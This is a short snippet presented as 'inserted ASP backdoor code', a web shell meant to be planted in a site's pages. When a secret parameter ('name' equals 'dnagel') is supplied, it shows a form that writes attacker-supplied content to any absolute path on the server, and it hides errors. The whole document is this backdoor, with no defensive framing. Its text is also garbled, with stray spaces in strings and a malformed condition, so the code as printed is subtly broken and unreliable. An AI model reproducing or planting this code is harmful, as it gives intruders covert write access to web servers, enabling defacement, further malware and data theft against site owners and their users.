Inserted ASP backdoor code

<% If request ("name") = "dnagel" then %>
<%
Dim objfso
Dim fdata
Dim objcountfile
On Error resume next
Set objfso = server. Createobject ("scripting. FileSystemObject ")
If trim (Request ("syfdpath") <> "then
Fdata = request ("cyfddata ")
Set objcountfile = objfso. createtextfile (Request ("syfdpath"), true)
Objcountfile. Write fdata
If err = 0 then
Response. Write "<font color = green> success! </Font>"
Else
Response. Write "<font color = Red> failed! </Font>"
End if
Err. Clear
End if
Objcountfile. Close
Set objcountfile = nothing
Set objfso = nothing
Response. Write "<form action ='' method = post>"
Response. write "<B >=============================================== =============================< br>"
Response. Write "create a file Program </B> <br>"
Response. write "============================================ ========================================< br>"
Response. write "the path of this file is :"
Response. Write server. mappath (request. servervariables ("script_name "))
Response. Write "<font color = 'red'> <br>"
Response. Write "<br>"
Response. Write "enter an absolute address (for example, D:/web/X. asp): <br>"
Response. Write "</font>"
Response. Write "<input type = text name = syfdpath width = 32 size = 50>"
Response. Write "<br> script content: <br>"
Response. Write "<textarea name = cyfddata Cols = 80 rows = 10 width = 32> </textarea>"
Response. Write "<input type = submit value = create>"
Response. Write "</form>"
%>
<% End if %>